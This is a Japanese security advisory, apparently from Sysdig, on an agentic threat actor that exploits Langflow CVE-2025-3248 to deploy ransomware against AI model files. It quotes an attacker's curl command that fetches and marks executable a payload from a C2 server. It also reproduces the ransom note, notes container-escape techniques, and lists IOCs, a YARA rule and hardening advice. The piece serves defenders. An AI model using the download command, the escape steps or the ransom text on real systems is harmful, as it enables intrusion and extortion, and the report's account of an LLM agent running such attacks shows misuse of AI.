JADEPUFFERの進化:エージェント型脅威アクターがAIモデル破壊を狙ったランサムウェアを投入

脆弱性

Langflowは、LLM駆動型アプリケーションを構築するために広く利用されているオープンソースのフレームワークです。CVE-2025-3248は、その/api/v1/validate/codeエンドポイントにおける認証欠如の脆弱性であり、認証されていない攻撃者がホスト上で任意のPythonコードを実行できてしまいます。この脆弱性は2025年5月にCISAの既知悪用脆弱性(KEV)カタログに追加されており、これまでに確認されているすべてのキャンペーンにおいて、JADEPUFFERが一貫して使用してきた侵入経路となっています。

Langflowがこの種の運用者にとって特に狙いやすい標的となっている理由は、その実行環境において、接続先の各種サービスをオーケストレーションするために、LLMプロバイダーのAPIキー、クラウドの認証情報、ベクトルデータベースやオブジェクトストアへの接続情報を保持していることが多いためです。前回のキャンペーンでは、JADEPUFFERがLangflow自体のPostgresバックエンドストアから資格情報を窃取した後、外部へと横展開していたことが確認されています。今回のキャンペーンでも同じ侵入経路が確認されましたが、その狙いは新しいものでした。すなわち、そのスタックが動作の基盤とするモデル資産そのものを破壊することです。

Sysdig TRTが観測した内容

curl -m30 -o /tmp/.sk/lockd http://34.153.223[.]102:9191/lockd && chmod +x

ls /tmp/.sk/
# ls: cannot access '/tmp/.sk/lockd': No such file or directory

ENCFORGE:AIインフラ向けに構築されたランサムウェア

研究者らはhttp://34.153.223.102:9191/.lockdからこのバイナリを取得しました。先頭のドットによって通常のディレクトリ一覧からは隠されており、/lockdにアクセスすると404が返る一方、GET /のインデックスには.lockdが表示されます。

‍

分析時点では、一般的な脅威インテリジェンスツールはいずれのハッシュも認識していませんでした。内部のプロジェクト名はencfile(encfile/cmd/lock)であり、付随する鍵生成ツールkeyforgeがバイナリ自体のエラーテキスト内で参照されています。この両者は、このツールチェーンを特定する上で有用な検知指標となります。

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wZB6Q/Y0wZ7/Gax8i3Z
PybS9t5fCkOT37mavrcSZ+V+tt6M6jChhf+b+ASUNa6uIr4l+MCc7XAsJmpmnyyd
2aZYhMSbbO5YpmKL6AFgJBhhB37NvpzWje6CFk5rpZQ7sUlhMHXdi63Bqo6bAZaW
8+MDG8K6W55Y10XmRTqKUPrDYJFD9z8LnbJJeBQggpM3XS0C0lXF5yxq0WpyMpnO
8O24t+jzhkRuCwVsMd7sw3qKxQ7t7fdBYs4wEvL9r/jrt2Z7OiBnueEIuJFDULjF
ckJshJGwNNjXiEmZr7mT9ei56UvIwPjnepQC6ex2PwnmcYw1uPef1A3Qpy+VhxyT
dwIDAQAB
-----END PUBLIC KEY-----

!!! YOUR FILES HAVE BEEN ENCRYPTED !!!
All files inthis directory and its subdirectories have been encrypted withmilitary-grade encryption.
HOW TO RECOVER YOUR FILES
Email us with your UNIQUE ID. We will send payment instructions and the
decryption key within 48 hours.
- You CANNOT recover your files without our private decryption key.
- If you do not contact us within 7 days, your decryption key will be
  PERMANENTLY DELETED and your files will be UNRECOVERABLE.
- Do NOT attempt to rename, move, or modify the encrypted files.
- Do NOT attempt to use third-party recovery tools.
- Do NOT share this file. Each victim has a unique key.
Contact: [email protected]

ホモグリフによる痕跡が残るCPythonの準備

C2のルートインデックスからは、もう1つ準備されたツリーが見つかりました。pv/bin/python、pv/bin/python3、そしてpv/bin/𝜋thonです。3つ目のファイル名は、thonの前にU+1D70B(数学用太字小文字パイ)を付加したものです。これら3つはバイト単位で完全に同一であり(SHA-256はab9824b61587c77a8d8649545cdbdc63ed2c384e45c9aba534e3f457f96efa7a、CPython 3.14、無害であることを確認済み)、このホモグリフは典型的な文字列検知回避パターンです。basename in ("python","python3")のようなチェックやpkill python3コマンドでは、パイ記号を先頭に付けたこのコピーを見逃してしまいます。今回のセッションにおけるJADEPUFFERのコマンド群にはpv/への参照は含まれておらず、このインタープリタは準備されたものの、実際には展開されませんでした。

侵害指標(IOC)

ネットワーク:

• 送信元:45.131.66[.]106(AS49453、オランダ)
• C2:34.153.223[.]102(GCP)、ポート9191
• バイナリ配送先:hxxp://34.153.223[.]102:9191/.lockd(先頭にドット、/lockdは404を返す)
• 準備されたインタープリタ:hxxp://34.153.223[.]102:9191/pv/bin/{python,python3,𝜋thon}

バイナリのハッシュ値(SHA-256):

‍

ビルド間で安定した指標:

• RSA-2048 DER SHA-256:2378bf45bb54fb2defc460063c9b43e09870741b62692b7f6acbc3cd7898bb3
• プロジェクト名:encfile / 鍵生成用の付随ツール:keyforge
• 恐喝用連絡先:[email protected]
• 暗号化済みファイルの拡張子:.locked
• 身代金メモ:README、HOW_TO_DECRYPT、README_DECRYPT
• 観測されたキャンペーンタスクID:gcp_h1、gcp_test

検知

• 侵入経路(CVE-2025-3248):/api/v1/validate/codeに送信されたコード内でのsubprocess.check_outputやsubprocess.runを介した、Langflowプロセスのユーザー権限でのPythonサブプロセス実行。Webアプリケーションのプロセス所有者配下でのプロセス生成を監視するランタイムセキュリティツールであれば、実行されるペイロードの内容にかかわらずこれを検知できます。
• Dockerソケットへのアクセス:アプリケーションプロセスのユーザーから/containers/createや/containers/{id}/startへのDocker Engine API呼び出しが発生することは異常です。Langflowにはコンテナを作成する正当な理由がありません。アプリケーションプロセスによるDockerソケットへのアクセスは、いかなる場合もアラートを発生させるべきです。
• 特権エスケープ用コンテナ:Privileged: trueとPidMode: host、あるいは/のバインドマウントを組み合わせたコンテナ作成リクエストは、エスケープの発生を高い確度で示す指標です。
• コンテナからのnsenter実行:コンテナ内部からのnsenter --target 1は、名前空間の境界を越えてホストに到達する行為です。アプリケーションコンテナにおいて、これは正当な操作ではありません。
• AI資産への暗号化後の痕跡:.gguf、.safetensors、.pkl、.ckpt、.faiss、.parquetファイルが存在するディレクトリ内で、.lockedファイルが大量に作成されること。AIパイプライン環境では、モデル成果物へのランサムウェアの被害が、一般的な業務データへの被害を上回る可能性があります。これらすべてのパスを個別に監視することが推奨されます。
• YARAルール(アンパック済みバイナリ向け):このルールは2段階で動作します。まず、バイナリにコンパイルされて組み込まれたGoパッケージパスによってencfileコードベースの任意のビルドを検知するファミリー単位のクラスタ、次に、埋め込まれたRSA-2048公開鍵によってこの特定のサンプルそのものを検知するビルド固有のクラスタです。

rule ENCFORGE_Ransomware_Unpacked {
meta:
        description = "Detects ENCFORGE ransomware locker (unpacked ELF) targeting AI/ML infrastructure, attributed to JADEPUFFER"        author      = "Sysdig Threat Research Team"        date        = "2026-07-15"        sha256      = "ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328"        tlp         = "WHITE"strings:
// Go source paths compiled into the binary; survive recompilation of the same codebase        $pkg_enc      = "encfile/internal/cli/enc" ascii
        $pkg_crypter  = "encfile/internal/crypter" ascii
        $pkg_discover = "encfile/internal/discover" ascii
// Companion keygen tool reference embedded in error text        $keyforge     = "run keyforge gen" ascii
// CLI safety-gate output (printed when --lock flag is absent)        $tryrun       = "TRY-RUN (scan-only, --lock not set)" ascii
// Anti-recovery and process-kill log strings        $killing      = "killing holders" ascii
        $dis_recovery = "[*] Disabling recovery" ascii
// Encrypted-file rename log entry        $renamed      = "encrypted+renamed:" ascii
// Ransom note: per-victim key isolation notice        $unique_key   = "Do NOT share this file. Each victim has a unique key." ascii
// Build-specific: prefix of the embedded RSA-2048 public key        $rsa_key      = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wZB6Q" ascii
condition:
        uint32(0) == 0x464c457f// ELF magic        and filesize > 2MB
        and filesize < 15MB
        and (
// Family: package paths confirm encfile codebase + any two behavioral strings            (2of ($pkg_*) and 2of ($keyforge, $tryrun, $killing, $dis_recovery, $renamed, $unique_key)))
            or
// Build-specific: RSA key prefix + at least one package path            ($rsa_key and 1of ($pkg_*))
        )
}

‍

Sysdig Secureをご利用のお客様向けに、Sysdig脅威リサーチチームは、Webアプリケーションのプロセスユーザー配下でのサブプロセス実行、Dockerソケットへのアクセス、特権コンテナの作成をカバーするルールを提供・維持しています。

推奨事項

侵入経路にパッチを適用する:

• Langflowをバージョン1.3.0以降に更新してください。CVE-2025-3248は2025年5月からCISAのKEVに掲載されており、対応期限もすでに過ぎています。

コンテナ環境を強化する:

• Dockerソケットへのアクセスを制限してください。アプリケーションコンテナに/var/run/docker.sockをマウントする必要がある場合は、必要な特定のAPI呼び出しのみを許可するようソケットプロキシを設定してスコープを絞ってください。Langflowにはそもそもこうしたアクセスは不要です。
• Langflowコンテナは非rootユーザーで実行し、書き込み可能なディレクトリにはnoexecを設定してください。
• コンテナ内プロセスからのnsenter実行についてアラートを設定してください。

AIモデル資産を保護する:

• モデルの重みを格納するディレクトリにファイルシステムレベルのアクセス制御を適用してください。モデルの重みや訓練用データセットは、Webアプリケーションのプロセスユーザーから誰でも読み取れる状態にすべきではありません。
• 本番運用中のモデル成果物については、オフラインまたはイミュータブルなスナップショットを維持してください。.gguf、.safetensors、.ckptファイルを狙うランサムウェアは、従来型の業務データに一切触れることなく、本番稼働中のAIシステムを機能停止に追い込むことができます。
• ML資産のパスにおける.locked拡張子の作成イベントを検知の対象に追加してください。
• OpenAI、Anthropic、HuggingFaceなどのAIプロバイダーのAPIキーを、Langflowの実行環境に保存しないでください。JADEPUFFERの前回のキャンペーンでは、こうしたキーがアクセス直後に窃取されることが確認されています。

資格情報の適切な管理:

• Langflowプロセスがアクセス可能な資格情報を監査してください。脆弱なバージョンのLangflowを稼働させたことのあるホストで、環境変数、インスタンスメタデータ、資格情報ファイルなどを通じて露出したものはすべてローテーションしてください。

まとめ

JADEPUFFERの前回のキャンペーンは、人間がエージェントを環境に向けて配置すれば、LLMがデータベース恐喝を実行できてしまうことを明確に示しました。今回のキャンペーンの進化は、同一の運用者がより強化された能力と、より鋭く絞り込まれた標的を持つに至ったことを示しています。すなわち、侵入経路そのものとなるAIインフラです。ENCFORGEは、AI環境向けに転用された汎用のファイル暗号化ツールではなく、ベクトルデータベース、モデルチェックポイント、訓練用データセットを名指しの標的とし、運用者がCLI上でML関連フォーマットの標的を拡張できる機能をあらかじめ組み込んだ、AI環境向けに設計されたランサムウェアです。

JADEPUFFERは、わずか数日という短期間のうちに、2つのキャンペーンの間で大きく成熟を遂げました。Pythonスクリプトと組み込みのMySQL暗号化機能から、RSA-2048/AES-256-CTRのハイブリッド暗号化、独立した鍵生成ツール、クロスプラットフォームのWindowsサポート、そしてキャンペーンID管理システムを備えたコンパイル済みGoバイナリへと進化したのです。最初のキャンペーンを特徴づけていた同じエージェント型の行動、すなわち31秒単位での失敗と修正というサイクルは、今回のイテレーションにも見られますが、今回はより難しい問題を解決しています。バイナリの取得に失敗した際に、その場でコンテナエスケープツールキットを構築するという行動です。恐喝用の連絡先は変わらず、侵入経路も同じままです。しかし、その目的はデータベースの破壊から、モデルパイプラインの破壊へと進化しました。

AIインフラを構築・運用する組織にとって、脅威モデルはすでに拡大しています。これにより、JADEPUFFERのランサムウェアが意味するものも変わってきます。露出したAIフレームワークを通じて侵入する攻撃者は今や、そのフレームワークが接続する対象に特化して設計されたペイロードを携えてやって来るのです。暗号化された業務ファイルはバックアップから復元できますが、暗号化された本番運用中のモデルは、しばしば復元できません。身代金の支払いだけで数百万ドルの損失を被る可能性がある一方、モデルの再構築・再訓練にはそれぞれ7万5000ドルから50万ドルのコストがかかることもあります。

AIインフラのセキュリティ対策の必要性は、もはや疑う余地がありません。そして今や、モデルの成果物もデータベースと並んで、皆さんのバックアップ・復旧計画に含めるべき対象なのです。